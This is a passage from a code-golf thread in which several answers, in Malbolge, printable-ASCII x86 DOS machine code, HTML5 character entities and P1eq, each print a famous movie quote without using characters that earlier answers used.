ct`%qLKJZHGWihwfutPONNMKm%ljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rq6b4DBBWVUgfw::tNMRKPOmlLjihffw? ct``:?KJZHGWihwfutPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUgfw::tNMRKPO!ljjihffw? ct``:?KJZHGWihwfutPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUgfw::tNMRKPO!ljjihffw? ct``:?KJZHGW8hTT4uPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUTwwu98NMRKPO!ljjihffw? ct``:?KJZHGW8hTT4uPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUTwwu98NMRKPO!ljjihffw? ct``:?KJZHGW8hTT4uPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUTwwu98NMRKPO!ljjihffw? ct``:?KJZHGW8hTT4uPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUTwwu98NMRKPO!ljjihffw? ct``:?8nmHGWWDUBRRPONqLLnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!m2AWVUZSRWPONMR54m!ljjihffw? ct``:?8nmHGWWDUBRRPONqLLnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!m2AWVUZSRWPONMR54m!ljjihffw? ct``:?!!6HGWWDUBRRPON`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAWVUZSRWPONMR4nn!ljjihffw? ct``:?!!6HGWWDUBRRPON`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAWVUZSRWPONMR4nn!ljjihffw? ct``:?!!6HGWWDUBRRPON`L:nlljj!hffTc!?``u::8qZun4!2SRAm?OjLhgJIHGF!!CAW?UTYRWu8NrLKPnHGFKDCBfF? DC%%:9!!6YGWWDUSAttrNMLKJ%lGFFggUBc??P`NM9Kw6ut4!2jinm?Ojcu:`rqc5!`lAWVUZSRWPONMR4nn!ljjihffw? ct``:?!!6HGWWDUBRRPON`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAWVUZSRWPONMR4nn!ljjihffw? ct``:?!!6HGWWDUBRRPON`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAWVUZSRWPONMR4nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct`NMLKJZHGWWDUBRRPONNMKKIHjj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPONMFjihffw? ct`NMLKJZHGWWDUBRRPONNMKKIHjj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPONMFjihffw? ct`NMLKJZHGWWDUBRRPONNMKKIHjj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPONMFjihffw? ct`NMLKnZHGWWDUBRRPONNMKKIHjj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPONMFjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZHGWWDUBRRPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPO!ljjihffw? ct`NMLKJZHGWWDUBRRPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPO!ljjihffw? ct`NMLKJZHGWWDUBRRPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPO!ljjihffw? ct`NMLKJZHGWWDUBRRPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPO!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZl:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBj??gfw::tr`64nn!ljjihffw? ct`NMLKJZHGWWDUBRRPONNMKKIHjj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPONMFjihffw? ct`NMLKJZHGWWDUBRRPONNMKKIHjj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPONMFjihffw? ct`NMLKJZHGWWDUBRRPONNMKKIHjj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPONMFjihffw? ct`NMLKJZHGWWDUBRRPONNMKKIHjj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqGFDDBBWVUZSRWPONMRKPONMFjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? DC%%:?8!65:92Vw5uu2rqqL:nllGihg%BTc!?``u::rw6ut4!2jiAPONjchgJI%cbaDYBWV?ZYw:P9NMq5J2HlFKDCHAF? DCB%:98!Zl:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffAcbaa`ut:rZYuWml2SRhPfOjchgJI%FbaDYBWV?ZYw:99NSLKPn2GFKDCBAF? DC%A:98!65492Vw5utP ``` Output is quote 49: ``` "It's alive! It's alive!" - Henry Frankenstein ``` [Previously forbidden](https://codegolf.stackexchange.com/a/41325/32522): `"#&'()*+,-./0137;<=>@[\]^_ deopQksvxXyz{|}~` Remaining characters: * Symbols: `!` `$` `%` `:` `?` ``` * Numbers: `2` `456` `89` * Uppercase: `ABCD` `FGHIJKLMNOP` `RSTUVW` `YZ` * Lowercase: `abc` `fghij` `lmn` `qr` `tu` `w` You can run it with the [reference Malbolge interpreter](http://www.lscheffer.com/malbolge_interp.html). [Answer] # 10. x86 Machine Code, uses no `9` When I realized that the remaining characters included the opcodes for 'Dec BX' and 'Push BX', I concluded that a x86 program was still possible. [Link for the code and .com file](http://lags.leetcode.net/Quote.zip) The code looks like a much longer version of this: ``` 44444444444444444444444444444444448444444444444444444444444444444444444444444444 44444444444444444444444444444448444444444444444444444444444444444444444444444444 44444444444444444444444444444444444444444444444484444444444444444444444444444444 44444444444444444444444444444444444444444444444444444444444444444444844444444444 44444444444444444444444444444444444444444444444444444444444444444444444444444444 444444444844444444444444444444444444444448KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKSSSSSSSSaKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKSKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKSKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKSKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKSSSSSSSSSSSSSSSSSSSSSSSSSSSSKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK ``` The code, compressed with `bzip2` and base-64-encoded, is this: ``` QlpoOTFBWSZTWSPev2AAAC3//IQAAE8AxAVVAljshO2a1CIgAAQCIAACQAKABEgwALtaISjAEwAC YEwAE/RCKepoDIDQDQhgAATBEqUyYJ6TTCYm0RiYAmjE9y2DggyCjSr7QBKBBfLXbplPpVr0UZ9F fce4QKIQigD2luNYchgZJSn9wWwWTL+vYVhM0o2SZAgIgLAWoqgeIwgnxBokBQJABPmuigiPswCA CIqGH0GnHfFahZ987YEg6UpWEhB7jmzKcAOjGZxPEKJIMikhAUX/F3JFOFCQI96/YA== ``` Output is quote 18: ``` "Made it, Ma! Top of the world!" - Arthur "Cody" Jarrett ``` [Previously forbidden](https://codegolf.stackexchange.com/a/42214/32353): ``` ?!"#$%&'()*+,-./0123567:;<=>@[\]^_` AbBCdDeEFfgGhHiIjJkLmMNoOpPqQRrsTuUvVWxXyYzZ{|}~ ``` Remaining characters: * Numbers: `4` `8` * Uppercase: `K` `S` * Lowercase: `a` `c` `l` `n` `t` `w` **It is self-modifying code that creates self-modifying code, here's how it works:** The text is first encoded by entering runs of '4' terminated by '8', which map to instructions that are effectively NOPs for this program. Next, BX is decremented ('K') until it has the value of where the print code will end up at on the stack. This is pushed 8 times ('S'), and then Pop All, 'a', is executed to set up SI and DI for later. BX is then repeatedly decremented and pushed to enter the arbitrary values of the print program on the stack (the low byte), along with a garbage byte (the high byte). Next, a long sequence of decrements gets BX to the value 0xAAAD, which is the two 1-byte instructions 'Load Word' and 'Store Byte'. Each pair of these instructions will remove one garbage byte from the print code. These instructions are pushed 28 times (the size of the print program), and the rest of the file is filled up with more decrement instructions to act as NOPs. These NOPs will be executed until the region of memory used by the stack is hit, which has been overwritten with the condensing code. The condensing code is executed, removing the garbage bytes in the code on the stack (pointed to by SI and DI, which were set up earlier). Finally, when the condensing code is done, the printing program has been successfully stored in memory at the next instruction to execute. **Assembly code to generate the machine code (FASM)** ``` org 100h ;"Made it, Ma! Top of the world!" - Arthur "Cody" Jarrett repeat '"' db '4' end repeat db '8' repeat 'M'-1 db '4' end repeat db '8' repeat 'a'-1 db '4' end repeat db '8' repeat 'd'-1 db '4' end repeat db '8' repeat 'e'-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat 'i'-1 db '4' end repeat db '8' repeat 't'-1 db '4' end repeat db '8' repeat ','-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat 'M'-1 db '4' end repeat db '8' repeat 'a'-1 db '4' end repeat db '8' repeat '!'-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat 'T'-1 db '4' end repeat db '8' repeat 'o'-1 db '4' end repeat db '8' repeat 'p'-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat 'o'-1 db '4' end repeat db '8' repeat 'f'-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat 't'-1 db '4' end repeat db '8' repeat 'h'-1 db '4' end repeat db '8' repeat 'e'-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat 'w'-1 db '4' end repeat db '8' repeat 'o'-1 db '4' end repeat db '8' repeat 'r'-1 db '4' end repeat db '8' repeat 'l'-1 db '4' end repeat db '8' repeat 'd'-1 db '4' end repeat db '8' repeat '!'-1 db '4' end repeat db '8' repeat '"'-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat '-'-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat 'A'-1 db '4' end repeat db '8' repeat 'r'-1 db '4' end repeat db '8' repeat 't'-1 db '4' end repeat db '8' repeat 'h'-1 db '4' end repeat db '8' repeat 'u'-1 db '4' end repeat db '8' repeat 'r'-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat '"'-1 db '4' end repeat db '8' repeat 'C'-1 db '4' end repeat db '8' repeat 'o'-1 db '4' end repeat db '8' repeat 'd'-1 db '4' end repeat db '8' repeat 'y'-1 db '4' end repeat db '8' repeat '"'-1 db '4' end repeat db '8' repeat ' '-1 db '4' end repeat db '8' repeat 'J'-1 db '4' end repeat db '8' repeat 'a'-1 db '4' end repeat db '8' repeat 'r'-1 db '4' end repeat db '8' repeat 'r'-1 db '4' end repeat db '8' repeat 'e'-1 db '4' end repeat db '8' repeat 't'-1 db '4' end repeat db '8' repeat 't'-1 db '4' end repeat db '8' string_end: data_start: repeat 28*2+2 dec bx end repeat repeat 8 push bx end repeat popa repeat 0x10000-0xFF21-28*2-2 dec bx end repeat push bx repeat 0xFF21-0xFECD dec bx end repeat push bx repeat 0xFECD-0xFE4C dec bx end repeat push bx repeat 0xFE4C-0xFDB4 dec bx end repeat push bx repeat 0xFDB4-0xFCEB dec bx end repeat push bx repeat 0xFCEB-0xFC7C dec bx end repeat push bx repeat 0xFC7C-0xFC12 dec bx end repeat push bx repeat 0xFC12-0xFBB7 dec bx end repeat push bx repeat 0xFBB7-0xFAFE dec bx end repeat push bx repeat 0xFAFE-0xFA81 dec bx end repeat push bx repeat 0xFA81-0xFA61 dec bx end repeat push bx repeat 0xFA61-0xFA21 dec bx end repeat push bx repeat 0xFA21-0xF8CD dec bx end repeat push bx repeat 0xF8CD-0xF802 dec bx end repeat push bx repeat 0xF802-0xF7B4 dec bx end repeat push bx repeat 0xF7B4-0xF760 dec bx end repeat push bx repeat 0xF760-0xF6F9 dec bx end repeat push bx repeat 0xF6F9-0xF674 dec bx end repeat push bx repeat 0xF674-0xF634 dec bx end repeat push bx repeat 0xF634-0xF53C dec bx end repeat push bx repeat 0xF53C-0xF480 dec bx end repeat push bx repeat 0xF480-0xF442 dec bx end repeat push bx repeat 0xF442-0xF346 dec bx end repeat push bx repeat 0xF346-0xF2D2 dec bx end repeat push bx repeat 0xF2D2-0xF231 dec bx end repeat push bx repeat 0xF231-0xF201 dec bx end repeat push bx repeat 0xF201-0xF200 dec bx end repeat push bx repeat 0xF200-0xF1BE dec bx end repeat push bx ; 28 bytes of code ; done storing print code repeat 0xF1BE-0xAAAD dec bx end repeat repeat 28 push bx end repeat ; done storing compact code, fill the remaining space with 'dec bx' ; to act as a nop until the modified code is hit fill_pos: repeat 0xffff-fill_pos -2 dec bx end repeat ``` [Answer] # 61. 80386 machine code + DOS, uses no `7` ``` u`t^cGFntlFmFnmaZKuacanftafightainahFrF!aThi2ai2ath$aWaraRLKm!calaPrFWidFntaMFrkinaMufflF8 $k!2!5%B!%!BH%!!%BAPH4?4#P^jAZj#Y1T!1L#1T41T61T?1LA1LC1TE1TI1TJ1TL1TM1TU5 1LW1T^1La1Th1Lj1LuF1Ld1Tn1TO1TZ1TuF1TO1L%1TZ1T:F1TZF1L%5 FF1T%F1T%F1L%Fj$Y1L%1LY1LOkLqEQFF1T%k|q6^1|A1|C5! ZBBBBA!O ``` Output is quote 64: ``` "Gentlemen, you can't fight in here! This is the War Room!" - President Merkin Muffley ``` [Previously forbidden:](https://codegolf.stackexchange.com/a/40755/25315) `"'&()*+-,./\03;<=>@X_[sovy pez]{}` --- Making an executable file that uses only printable ASCII is not an easy task. Fortunately, not many characters were forbidden by previous answers, so I only needed a few patches here and there. To run this program, copy it into a file with extension `.com`, and run it (linebreaks use the DOS format `0d 0a`; there is one `TAB` character in the code). It's too bad that modern 64-bit Windows systems don't support 16-bit code; one needs a 32-bit Windows system or [DOSBox](http://www.dosbox.com/) to run the code. I used the DOS `debug.com` debugger to develop the code. To "assemble" the "source code", redirect it into the debugger. On DOSBox: > > debug < quote.asm > > > Source code: ``` a100 jnz 162; jump over the output data, to have it at a convenient address 104 jz 162; (continued) db 'cGFntlFmFnmaZKuacanftafightainahFrF!aThi2ai2ath$aWaraRLKm!calaPrFWidFntaMFrkinaMufflF8',d,a,'$' ; "Gentlemen, you can't fight in here! This is the War Room!" - President Merkin Muffley ; Some weird numbers; see explanations below dw 216b, 2132 ; Padding db 35 and ax, 2142 and ax, 4221 dec ax and ax, 2121 and ax, 4142 push ax; push the value 100; we will need it later dec ax xor al, 3f xor al, 23 push ax pop si; now si points to the output message push byte ptr 41 pop dx push byte ptr 23 pop cx ; Fix the forbidden characters in the output message xor [si+21],dx xor [si+23],cx xor [si+34],dx xor [si+36],dx xor [si+3f],dx xor [si+41],cx xor [si+43],cx xor [si+45],dx xor [si+49],dx xor [si+4a],dx xor [si+4c],dx xor [si+4d],dx xor [si+55],dx xor ax, a0d xor [si+57],cx xor [si+5e],dx xor [si+61],cx xor [si+68],dx xor [si+6a],cx xor [si+75],cx inc si xor [si+64],cx xor [si+6e],dx xor [si+4f],dx xor [si+5a],dx xor [si+75],dx inc si xor [si+4f],dx xor [si+25],cx xor [si+5a],dx xor [si+3a],dx inc si xor [si+5a],dx inc si xor [si+25],cx xor ax, a0d inc si inc si xor [si+25],dx inc si xor [si+25],dx inc si xor [si+25],cx inc si push byte ptr 24 pop cx xor [si+25],cx xor [si+59],cx xor [si+4f],cx ; Done with the output message ; Now fix the code (program patches itself) imul cx, [si+71], 45; "calculate" the address of the code push cx inc si inc si xor [si+25],dx; message patching was not finished... now it is imul di, [si+71], 36; "calculate" the patch value 0x8c pop si xor [si+41], di; make code "0xcd 0x21" - DOS function call xor [si+43], di; make code "0xc3" - terminate the program xor ax, 921; select DOS function 9 (output a string) pop dx; set dx to point to the output message inc dx inc dx inc dx inc dx db 41, 21, 4f rcx 11b n quote.com w q ``` Some notes: * The output message has all forbidden characters XOR-masked with one of 3 masks, `0x41`, `0x23` and `0x24`. I chose masks that were not forbidden. * The code that does the output contains forbidden characters, or worse - non-ASCII bytes `0xcd` and `0xc3`. They are XOR-masked as well, so the code must modify itself. * All memory accesses are performed with an offset: pointers never point to the stuff itself, but several bytes lower. The reason is, when using memory access without an offset, the instruction codes are non-ASCII. * The character `k` is very important here: it encodes the `IMUL` multiplication instruction. I use it to acquire constant values: for example, the constant `0x216b`, when multiplied by `0x45`, gives the useful constant `0x01d7`, which is a pointer (with an offset, as described above) to the code that has to be patched. In a similar manner, the patching mask is `0x2132*0x36=0x8c` (don't mind the truncation there). * As described above, obtaining constants is a major pain. To make it even worse, I assumed nothing about the initial values of registers. DOS typically sets them to 0, but one can never be sure... This led to a fun exercise in initializing a register to 0: `and ax, 2142; and ax, 4221`. * I added 2 linebreaks for "readability" (fortunately, this is not code-golf!). They are specified as "xor ax, a0d" in code; there must be an even number of them, so the value of `ax` doesn't change. --- Edit: not using the `_` character anymore (bad timing in post) - cannot use `pop di`, so using the `di` register much less now. [Answer] # 85. HTML5 (uses no `{`) ``` &#x22&#x57&#x68&#x6f&#x27&#115&#x20&#x6f&#x6e&#x20&#x66&#x69&#x72&#115&#x74&#x2e&#x22&#x20&#x2d&#x20&#x44&#x65&#x78&#x74&#x65&#x72 ``` Output is quote 91. ``` "Who's on first." - Dexter ``` [Previously forbidden](https://codegolf.stackexchange.com/a/40584/32353): `py3\" ';(` [Answer] # 8. [P1eq](http://esolangs.org/wiki/P1eq) (uses no `n`) It requires non-Windows 64-bit platform to work correctly, just like the Addleq answer. It used the same trick for the -1. It has 64 newlines and 57 tabs. It is slow and ended in about 18mins on my computer. ``` 844 844 88888 848 844 4 844 444 444 8 448 444 448 4 484 884 488 488 488 484 488 88 84 48 48 844 4444 4444 848 844 88888 88884884 888484 4484 8884484 4444848 4848888 4448448 4488 4444848 488 88 44888 4884848 4488 4444848 8488884 4488 4444848 484884888 48848 4848888 4448448 4444848 8884484 88 4488848 884484 88884884 4444848 4844848 4444848 4444888 4484 44884 4444848 8 444844 88 8484484 48 884 844 484 88 4444 444 4448 4444 4448 4 4448 444 4448 88888888888888888888 48 4444 444 4448 4444 4448 4 4448 4448 444 4448 4 444 444 444 444 444 444 444 444 444 444 444 444 444 444 444 444 444 444 444 444 444 88888888888888888888 848 844 4 ``` Output is quote 8: ``` "May the Force be with you." - Han Solo ``` [Previously forbidden](https://codegolf.stackexchange.com/a/42292/25180): ``` ?!"#$%&'()*+,-./01235679:;<=>@[\]^_` AbBCdDeEfFgGhHiIjJkLmMNoOpPqQrRstTuUvVWxXyYzZ{|}~ ``` Remaining: * Numbers: `4` `8` * Uppercase: `K` `S` * Lowercase: `a` `c` `l` `w` P1eq is just like Subleq and Addleq, with the instruction B=A+1 and jump if B isn't changed. Explanation: ``` 844 844 88888 # *844 = 1. 848 addr4:844 4 7 # Jump back to 4. And add some nonsense values to *4, # which is never read. Note that if it jumps to 8, # neither *44 nor *48 could be a jump target. 844 444 10 # Initialize *444 to 2. addr10: 444 444 13 # Increment *444. 8 448 16 # *448 = 445. 444 448 4 # If *444 == 444, jump back to 